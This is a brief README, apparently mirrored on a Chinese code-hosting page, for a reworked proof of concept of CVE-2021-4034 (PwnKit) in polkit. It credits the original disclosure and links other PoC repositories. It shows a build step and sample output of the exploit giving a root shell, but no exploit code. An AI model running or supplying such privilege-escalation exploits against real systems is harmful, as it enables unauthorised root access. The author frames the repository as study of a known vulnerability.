CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

介绍

# CVE-2021-4034

Obviously not original. Reworked it to understand what's going on. Credits to https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt for finding the vuln!

Other PoCs that helped me understand the sploitz:

- https://github.com/berdav/CVE-2021-4034
- https://github.com/ryaagard/CVE-2021-4034

## Building

```
make
```

## sploitz

```
❯ ./main
LOADED!
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
```

文件快照

备注